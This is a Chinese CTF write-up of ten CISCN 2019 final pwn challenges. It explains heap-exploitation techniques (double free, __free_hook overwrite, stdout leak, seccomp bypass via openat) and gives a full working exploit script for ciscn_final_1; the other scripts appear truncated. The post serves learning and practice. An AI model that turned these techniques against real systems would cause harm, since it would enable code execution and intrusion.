pwnable.tw做不动了,发现BUUOJ上的题目挺多的,加上想刷一刷2019国赛的题目,这两天断断续续地做了几道题目,简单记录一下。
更新:10道刷完,有些题目还是挺有意思的。
ciscn_final_1
前言
binary内部实现了一个虚拟机,有自己的指令集,其实逻辑搞清楚了问题不大(虽然我看了蛮久),主要是写脚本的时候要花点时间。(本地给的glibc2.23的环境,打通了;但是远程给的glibc2.27,在调试的时候发现mmap没有触发,也就是说分配出来的内存空间没有紧挨着libc,结果没法打通。讲道理不应该啊,两个版本的libc这里的逻辑不是一样吗,阈值应该都是128k啊。)
思路
- 16 bits的机器码,大端数据,高4 bits是opcode,后面要么是寄存器的index,要么是立即数,要么是标志位。若高4 bits是0xF,根据低8 bits的值,对应了一些输出,停机,退出指令。(binary的database不小心删了,就不贴反汇编的代码了)
- 关键在于利用其中的
opcode==6和opcode==7的两条指令,分别是对应访问内存以及写入内存,且地址是32 bits,说明可以相对内存溢出。 - 由于内存是分配在堆上的,而且申请的
size==0x1FFFE,是会通过mmap申请的,而且位置正好紧挨着libc且位于上方。所以通过上述的根据偏移访问内存和读写内存可以操作到libc的位置上。 - 所以根据以上,可以通过溢出,根据偏移读写libc。
- 首先读出
_IO_list_all位置存的_IO_2_1_stderr_的地址,从而leak libc。 - 再向
__free_hook写system - 最后在输入指令的时候,在内存开头写入”/bin/sh”,并且在虚拟机开始执行的地址处(偏移为0x6000=0x3000 *sizeof(_WORD))写入
exit指令触发free内存的操作,从而getshell。 - 以上步骤可以通过
halt分隔,因为halt可以重新接受输入指令再次执行。 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134context.log_level = 'debug'
def addi(reg_dst, reg_src, imm):
assert(imm <= 0xF)
binary_str = "0001"
binary_str += bin(reg_dst)[2:].rjust(3, "0")
binary_str += bin(reg_src)[2:].rjust(3, "0")
binary_str += "1"
binary_str += bin(imm)[2:].rjust(5, "0")
val = int(binary_str, 2)
return big_endian(val)
def read_code(reg_dst, reg_src_1, reg_src_2):
binary_str = "0110"
binary_str += bin(reg_dst)[2:].rjust(3, "0")
binary_str += bin(reg_src_1)[2:].rjust(3, "0")
binary_str += bin(reg_src_2)[2:].rjust(3, "0")
binary_str += "000"
val = int(binary_str, 2)
return big_endian(val)
def write_code(reg_dst, reg_src_1, reg_src_2):
binary_str = "0111"
binary_str += bin(reg_dst)[2:].rjust(3, "0")
binary_str += bin(reg_src_1)[2:].rjust(3, "0")
binary_str += bin(reg_src_2)[2:].rjust(3, "0")
binary_str += "000"
val = int(binary_str, 2)
return big_endian(val)
def read(reg_dst, imm):
assert(imm <= 0xFF)
binary_str = "0010"
binary_str += bin(reg_dst)[2:].rjust(3, "0")
binary_str += bin(imm)[2:].rjust(9, "0")
val = int(binary_str, 2)
return big_endian(val)
def write(reg_src, imm):
assert(imm <= 0xFF)
binary_str = "0011"
binary_str += bin(reg_src)[2:].rjust(3, "0")
binary_str += bin(imm)[2:].rjust(9, "0")
val = int(binary_str, 2)
return big_endian(val)
def print_reg0():
val = 0xF021
return big_endian(val)
def halt():
val = 0xF025
return big_endian(val)
def big_endian(val):
return chr(val >> 8) + chr(val & 0xFF)
def leak_stderr():
offset = (_IO_list_all_offset + 0x22000 - 8) / 2
payload = '\x30\x00' # $pc start
p.sendafter("Input: ", payload)
payload = read(1, 7) # $r1 = code[$pc + 7] = code[0x3008]
payload += read(2, 7) # $r2 = code[$pc + 7] = code[0x3009]
payload += read_code(0, 1, 2) # $r0 = code[($r1 << 8) + $r2]
payload += print_reg0() # print $r0
payload += addi(2, 2, 1) # $r2 = $r2 + 1
payload += read_code(0, 1, 2) # $r0 = code[($r1 << 8) + $r2]
payload += print_reg0() # print $r0
payload += halt() # halt
payload += big_endian(offset >> 16)
payload += big_endian(offset & 0xFFFF)
p.send(payload)
return u32(p.recv(4))
def write_free_hook():
offset = (__free_hook_offset + 0x22000 - 8) / 2
payload = '\x30\x00' # $pc start
p.sendafter("Input: ", payload)
payload = read(1, 7) # $r1 = code[$pc + 7] = code[0x3008]
payload += read(2, 7) # $r2 = code[$pc + 7] = code[0x3009]
payload += read(3, 7) # $r3 = code[$pc + 7] = code[0x300A]
payload += write_code(3, 1, 2) # code[($r1 << 8) + $r2] = $r3
payload += addi(2, 2, 1) # $r2 = $r2 + 1
payload += read(3, 5) # $r3 = code[$pc + 7] = code[0x300B]
payload += write_code(3, 1, 2) # code[($r1 << 8) + $r2] = $r3
payload += halt() # halt
payload += big_endian(offset >> 16)
payload += big_endian(offset & 0xFFFF)
payload += big_endian(libc_system & 0xFFFF)
payload += big_endian(libc_system >> 16)
p.send(payload)
def quit():
val = 0xF026
return big_endian(val)
def getshell():
payload = '\x00\x00'
p.sendafter("Input: ", payload)
payload = big_endian(u16("/b"))
payload += big_endian(u16("in"))
payload += big_endian(u16("/s"))
payload += big_endian(u16("h\x00"))
payload = payload.ljust(0x6000, 'A')
payload += quit()
p.send(payload)
_IO_list_all_offset = libc.sym["_IO_list_all"]
stderr_offset = libc.sym["_IO_2_1_stderr_"]
system_offset = libc.symbols["system"]
__free_hook_offset = libc.symbols["__free_hook"]
# realloc_offset = libc.symbols["realloc"]
# leak libc
libc_stderr = leak_stderr()
libc_base = libc_stderr - stderr_offset
libc_system = libc_base + system_offset
# write __free_hook
write_free_hook()
# trigger __free_hook
getshell()
success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))
p.interactive()
ciscn_final_2
前言
本地调试的时候因为创建的flag文件是空的,啥也没打印出来,结果以为没成功,愣是浪费时间,有点蠢。
思路
execve被禁了,但是flag打开了而且文件描述符改为666。- 很明显的tcache double free,开始以为后面要rop,因为exit里面接受了99个字符的输入,感觉可以写rop chain然后跳过来;后来发现每次写要么只能写2 bytes,要么4 bytes,而地址至少6 bytes,显然行不通。
- 改变思路,把
stdin->_fileno改为666,让它在scanf的时候自己读flag自己打印出来就行了。 - 由于直接读写都只能是2或者4 bytes,所以还要考虑一下堆布局,分配
stdin的chunk空间还是要通过partial write unsorted bin->bk,至于unsorted bin需要伪造size得到,细节就不赘述了。 - 改完
stdin->_fileno退出就能打印出flag了。(有个不明白的地方,开始还担心改完了stdin->_fileno之后,标准输入流就失效了,那怎么选择退出功能?结果read还是照样可以输入,但是scanf却是直接从flag里面读的,什么原因?) - 还有一个点是,由于double free利用一般是
free两次然后malloc三次,所以这里如果一开始tcache bin是空的也就是count==0,那么利用完了之后count==0xFFFF从而被误认为已经满了,所以后续如果free这个size的chunk,是不会放到tcache bin里面的,所以要先free几个块填个位置,防止count==0xFFFF。
exp
1 | context.log_level = "debug" |
ciscn_final_3
前言
题目逻辑简单,但是我还是要花一定时间做堆的布局,还是没有特别熟练,还得练。
思路
- 明显的
free之后指针没有清空,造成可以double free。 - 因为没有传统的那种
show功能,因为要爆破写stdout,后面发现每次new一个chunk都会输出chunk的地址,那就好办了。 - 这里因为size限制最大为0x78,没办法直接得到unsorted bin,所以还要通过chunk overlap来改size,创造出unsorted bin来。
- 后面主要就是让tcache bin和unsorted bin重叠,然后就能通过tcache bin分配到
main_arena+0x60的chunk,从而通过打印的chunk地址,leak libc。 - 最后继续利用double free改
__free_hook为system来getshell。
exp
1 | context.log_level = "debug" |
ciscn_final_4
前言
关键就在于这个open被禁用,可以用openat代替。
思路
seccomp-tools dump ciscn_final_4,禁用了execve,显然要orw了。- binary中的
watch函数同时也检测了几个系统调用,也就是不能用:禁用了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26void __fastcall __noreturn watch(unsigned int a1)
{
int stat_loc; // [rsp+34h] [rbp-ECh]
__int64 v2; // [rsp+38h] [rbp-E8h]
char v3; // [rsp+40h] [rbp-E0h]
__int64 v4; // [rsp+B8h] [rbp-68h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
wait(0LL);
while ( 1 )
{
ptrace(PTRACE_SYSCALL, a1, 0LL, 0LL);
waitpid(a1, &stat_loc, 0);
if ( !(stat_loc & 0x7F) || (char)((stat_loc & 0x7F) + 1) >> 1 > 0 || (stat_loc & 0xFF00) >> 8 != 5 )
break;
ptrace(PTRACE_GETREGS, a1, 0LL, &v3);
v2 = v4;
if ( v4 == 2 || v2 == 9 || v2 == 57 || v2 == 58 || v2 == 101 )
{
puts("hey! what are you doing?");
exit(-1);
}
}
exit(-1);
}open(2),mmap(9),fork(57),vfork(58),ptrace(101)系统调用。 - patch掉
ptrace(TRACEME, xxx, xxx),方便调试fork出来的子进程。 - 明显的fastbin double free,利用unsorted bin来leak出libc地址,之后利用fastbin attack分配到
__malloc_hook - 在
__malloc_hook布置如下的gadget,目的是将栈下压0x38字节,此时rsp正好只想binary开始我们输入name的位置,因此是可控的,可以提前布置rop chain。1
2
3
4
5
6
7
8
9.text:0000000000401186 loc_401186: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000401186 add rsp, 8
.text:000000000040118A pop rbx
.text:000000000040118B pop rbp
.text:000000000040118C pop r12
.text:000000000040118E pop r13
.text:0000000000401190 pop r14
.text:0000000000401192 pop r15
.text:0000000000401194 retn - 在binary最开始输入
name时布置gadget,完成向bss中写入第二段rop chain,同时将栈迁移到该bss上。 - 由于
open的禁用,故不可用来打开flag文件。因此这里可以使用openat函数,因为open的内部实际上也是通过openat函数实现打开文件的功能的,因此单独调用openat可以绕过open的限制,也能打开文件。 - 接下来就是orw拿flag了。
exp
1 | context.log_level = "debug" |
ciscn_final_5
前言
经典没有show的题目,bruteforce 4 bits,partial write unsorted bin->bk为stdout的做法,主要是堆布局需要点时间,写起来有点pwnable.tw上realloc的感觉了,不过显然更简单。
思路
- 利用题目储存
chunk地址以及index的逻辑是两者异或之后再存入chunk_array中空闲的地方,若index == 0x10 && chunk_addr & 0x10 == 0,那么就可以在edit的时候,实际写的地址要向后移0x10 bytes,从而可以溢出到下一个chunk的fd的部分。 - 利用这个溢出,改掉下一个chunk的size,造成更大的chunk overlap,使得一个chunk同时存在tcache bin和unsorted bin中(间接链入unsorted bin)。
1
2
3
4
5
6
7
8unsorted bin --> +--------+
| |
| |
| |
| |
+--------+ +--------+ <-- tcache bin
| | ==> victim_chunk <== | |
+--------+ +--------+ - 由于在切割unsorted bin,使得victim_chunk的fd,bk被置入
main_arena+0x58之后,需要进行partial write,故这里仍要需要利用index == 0x10 && chunk_addr & 0x10 == 0的方法进行0x10 bytes overflow,从从而可以覆盖到victim_chunk->fd。 - 分配到
stdout的chunk之后,写入p64(0xfbad1800) + p64(0) * 3 + "\x00"就可以leak libc了。 - 之后继续利用0x10 bytes overflow,分配
__free_hook的chunk,写入system,再free一个”/bin/sh”的chunk,就可以getshell了。
exp
1 | def new(index, size, content): |
ciscn_final_6
前言
有点坑,题目给的libc是2.23,搞得我直接用2.23写了fastbin attack,然后打远程发现有tcache,才发现题目上写Ubuntu 18的环境。题目本身还是很简单的。
思路
- 解迷宫,拿到
malloc的地址,从而得到libc地址。 new game会创造一个新的player信息,先进行store game,然后delete record将当前的player删除,此时再依次load game和delete record,将被delete掉的player进行二次删除,构成tcache double free。malloc位于__free_hook的chunk,写为system,然后free一个”/bin/sh”的chunk,getshell。
exp
1 | context.log_level = 'debug' |
ciscn_final_7
前言
强迫症驱使我把这个ciscn_final_7没做的空白填满,结果硬是断断续续地写了我两天,完了作业写不完了。pwn使我失去理智。
思路
- 拖到IDA一看,父进程
fork一个子进程,通过ptrace对子进程进行控制,代码的主要逻辑都在子进程中。同时因为子进程被父进程ptrace了,所以应该是不可能直接调试子进程了。 - 学一波
ptrace的用法,大概了解之后,看一下父进程是怎么控制子进程的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107unsigned __int64 __fastcall sub_401582(unsigned int a1)
{
__WAIT_STATUS stat_loc; // [rsp+18h] [rbp-2A8h]
int v3; // [rsp+20h] [rbp-2A0h]
int v4; // [rsp+24h] [rbp-29Ch]
int i; // [rsp+28h] [rbp-298h]
int v6; // [rsp+2Ch] [rbp-294h]
int v7; // [rsp+30h] [rbp-290h]
int v8; // [rsp+34h] [rbp-28Ch]
__int64 v9; // [rsp+38h] [rbp-288h]
char v10; // [rsp+40h] [rbp-280h]
__int64 v11; // [rsp+C0h] [rbp-200h]
__int64 v12; // [rsp+D8h] [rbp-1E8h]
__int64 v13[51]; // [rsp+120h] [rbp-1A0h]
unsigned __int64 v14; // [rsp+2B8h] [rbp-8h]
v14 = __readfsqword(0x28u);
v6 = 0;
HIDWORD(stat_loc.__iptr) = 0;
qword_604948 = (__int64)qword_604960;
wait((__WAIT_STATUS)&stat_loc);
while ( LOBYTE(stat_loc.__uptr) == 127 )
{
ptrace(PTRACE_GETREGS, a1, 0LL, &v10);
v7 = ptrace(PTRACE_PEEKTEXT, a1, v11, 0LL);
v9 = (unsigned __int8)ptrace(PTRACE_PEEKDATA, a1, v11 - 1, 0LL);
if ( v9 != 0xCC )
{
ptrace(PTRACE_KILL, a1, 0LL, 0LL);
exit(0);
}
v3 = 1;
if ( *(_QWORD *)(qword_604948 + 16) )
{
v8 = (*(__int64 (__fastcall **)(char *))(qword_604948 + 16))(&v10);
if ( v8 == 1 )
{
qword_604948 = *(_QWORD *)(qword_604948 + 8);
}
else if ( v8 )
{
switch ( v8 )
{
case 2:
if ( SHIDWORD(stat_loc.__iptr) <= 0 )
exit(-1);
qword_604948 = v13[--HIDWORD(stat_loc.__iptr)];
v12 += 8LL;
break;
case 3:
v11 = *(_QWORD *)(qword_604948 + 8);
qword_604948 = *(_QWORD *)qword_604948;
v12 -= 8LL;
ptrace(PTRACE_POKEDATA, a1, v12, *(_QWORD *)(qword_604948 + 24));
v3 = 0;
break;
case 4:
if ( SHIDWORD(stat_loc.__iptr) > 48 )
exit(-1);
v13[SHIDWORD(stat_loc.__iptr)] = *(_QWORD *)qword_604948;
++HIDWORD(stat_loc.__iptr);
v12 -= 8LL;
qword_604948 = *(_QWORD *)(qword_604948 + 8);
break;
case 5:
if ( SHIDWORD(stat_loc.__iptr) > 48 )
exit(-1);
v13[SHIDWORD(stat_loc.__iptr)] = *(_QWORD *)qword_604948;
++HIDWORD(stat_loc.__iptr);
v12 -= 8LL;
v4 = 0;
for ( i = 0; i <= 136; ++i )
{
if ( qword_604978[4 * i] == v11 )
{
qword_604948 = (__int64)&qword_604960[4 * i];
v4 = 1;
break;
}
}
if ( !v4 )
exit(-1);
v3 = 0;
break;
}
}
else
{
qword_604948 = *(_QWORD *)qword_604948;
}
}
else
{
qword_604948 = *(_QWORD *)(qword_604948 + 8);
}
if ( v3 )
v11 = *(_QWORD *)(qword_604948 + 24);
ptrace(PTRACE_SETREGS, a1, 0LL, &v10); // set regs
if ( ptrace(PTRACE_CONT, a1, 0LL, 0LL) < 0 ) // let child process continue
{
perror("ptrace");
return __readfsqword(0x28u) ^ v14;
}
wait((__WAIT_STATUS)&stat_loc);
}
return __readfsqword(0x28u) ^ v14;
} - 前面一堆
switch啥的就不管了,重点在ptrace(PTRACE_SETREGS, a1, 0LL, &v10);,因为设置完寄存器之后,就是通过ptrace(PTRACE_CONT, a1, 0LL, 0LL)把执行权限还给子进程了。 - gdb动态调试,断在
ptrace(PTRACE_SETREGS, a1, 0LL, &v10);,查看第四个参数也就是rcx指向的位置,这是一个user_regs_struce的结构体(在”/user/include/sys/user.h”可以找到定义):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30struct user_regs_struct
{
__extension__ unsigned long long int r15;
__extension__ unsigned long long int r14;
__extension__ unsigned long long int r13;
__extension__ unsigned long long int r12;
__extension__ unsigned long long int rbp;
__extension__ unsigned long long int rbx;
__extension__ unsigned long long int r11;
__extension__ unsigned long long int r10;
__extension__ unsigned long long int r9;
__extension__ unsigned long long int r8;
__extension__ unsigned long long int rax;
__extension__ unsigned long long int rcx;
__extension__ unsigned long long int rdx;
__extension__ unsigned long long int rsi;
__extension__ unsigned long long int rdi;
__extension__ unsigned long long int orig_rax;
__extension__ unsigned long long int rip;
__extension__ unsigned long long int cs;
__extension__ unsigned long long int eflags;
__extension__ unsigned long long int rsp;
__extension__ unsigned long long int ss;
__extension__ unsigned long long int fs_base;
__extension__ unsigned long long int gs_base;
__extension__ unsigned long long int ds;
__extension__ unsigned long long int es;
__extension__ unsigned long long int fs;
__extension__ unsigned long long int gs;
}; - 然后就是根据
rip去binary里找汇编码,因为都是一段一段的,然后通过int 3返回父进程。所以就只能对着汇编码,借助寄存器的值,手动分析子进程的执行逻辑。 - 细节就不赘述了(感觉这种方法有点笨,如果有大佬能提供更好的方法,希望可以教教我),分析的结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22function list:
110 ==> first input after "string: " : size
second input after "string: " : content (end with "\n")
chunk will be added to global variable "chunk_array"
119 ==> no use at all, simply "puts("sorry~\n");" after input done
120 ==> simply write something on the stack (no use at all)
238 ==> first input after "string: " : index
free the chunk that recently malloc (pointer will not be reset to 0,
thus bring double free)
386 ==> simply exit
some global variable:
0x605AC0 ==> store the address of the chunk_array
0x604940 ==> store the address of the present chunk
0x6040E0 ==> store the times that "free" can be used (initialize to 4), if use up,
the process will print out the chunk_array and simply exit
some constraints:
chunk size should satisfy "size > 0 && size <= 0x7F"
can only malloc at most 10 chunks (according to the free space in chunk_array)
for "238"(free) function, index should satisfy "index >= 0 && index <= 9"
"238"(free) function can only be used 4 times (according to the value stored in 0x6040E0) - 程序没有开PIE。
- 首先用tcache double free,把
0x6040E0处的值(可以执行free操作的次数)改大一点。 - 再此利用tcache double free,把
0x605AC0改到bss上,达到清空chunk_array的目的,从而又能分配10个chunk - 由于
free限制解除了,再利用double free改atoi_got为printf_plt,从而利用fsb来leak栈上的libc地址。 - 最后double free改
atoi_got为system,输入”/bin/sh”来getshell。
exp
1 | context.log_level = 'debug' |
ciscn_final_8
前言
乍一看好像挺复杂的,其实仔细看看逻辑挺简单的(但是我还是花了蛮久时间的,太菜了)。
思路
- 在
login之后,输入text的长度是可控的而且没有限制,故存在溢出。 - 在
register一个user的时候,会先对输入的password进行SM3散列计算再储存,然后在输入完text之后,对所有的元数据(包括user的名字,password length,password散列,text_len,text)再进行一次SM3散列计算并储存。 - 之后的每次
login都会对这两个散列进行检查。 - 利用
user0的溢出将user1特定的password散列leak出来(比如”0”)。 - 利用leak出来的
password散列,伪造user2用户输入的password为admin2所有元数据(包括名字admin2,password length(1),password散列(之前leak出来的”0”的散列),text_len,text),该元数据的散列值将会被储存在user2的区域。 - 利用
user1的溢出leak出上述提到的admin2的所有元数据的散列。 - 再次利用
user1的溢出覆盖user2为伪造的superuser也就是admin2。 - 以
user2的身份login,此时便能通过superuser也就是admin2的check条件,达到调用getflag功能的目的。
exp
1 | def register(age, passwd_len, passwd, content_len, content): |
ciscn_final_9
前言
明显的off by null,通过unlink形成chunk overlap,因为看错了if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))判断条件一度怀疑人生(甚至怀疑以前怎么做unlink的)。
思路
- 分配所有10个chunk,将后面的7个chunk释放并填满tcache bin。
- 剩下的三个chunk通过off by null形成chunk overlap,需要满足相应的
fd,bk,prev_size字段。 - 由于”\x00\x02”(
prev_size=0x200)无法直接写进去,这里需要连续释放剩下的3个chunk,使得第三个chunk的prev_size会被写入0x200。 - 将所有10个chunk又全部从bin中分配出来。
- 释放除了3个上述提到的unsorted bin之外的7个chunk中的6个,以填充6个tcache bin的位置。
- 将3个unsorted bin中位于中间位置的chunk释放到tcache bin中,从而下一次分配就能分配到该chunk,将size设置为
0x78从而覆盖第三个unsorted bin的prev_inuse标志位为0。 - 再次将tcache bin重新填满,释放第一个unsorted bin,满足
fd和bk的约束。 - 此时再次释放第三个unsorted bin,此时触发unlink,获得0x300的unsorted bin,第二个unsorted bin被overlap,从而可以被二次分配。
- 之后就利用tcache double free,写
__free_hook为onegadget,触发free来getshell。
exp
1 | def new(size, content): |
ciscn_final_10
前言
这个应该巨简单了,根本没难点。
思路
- 首先要通过check才能进行后续操作,随机数肯定是才不到的,后续只要输入一个低2 bytes为0的负数就能通过check了。
- 后面就是明显的tcache double free。
- 通过partial write tcache bin,分配到储存
The cake is not a lie!的chunk,将其改写为The cake is a lie!。 - 之后输入一个无效选项(比如3)触发后续接受输入,在对该输入进行简单的异或操作后当作指令执行的功能。
- 对shellcode进行对应的处理之后作为输入,然后就能getshell了。
exp
1 | def access(): |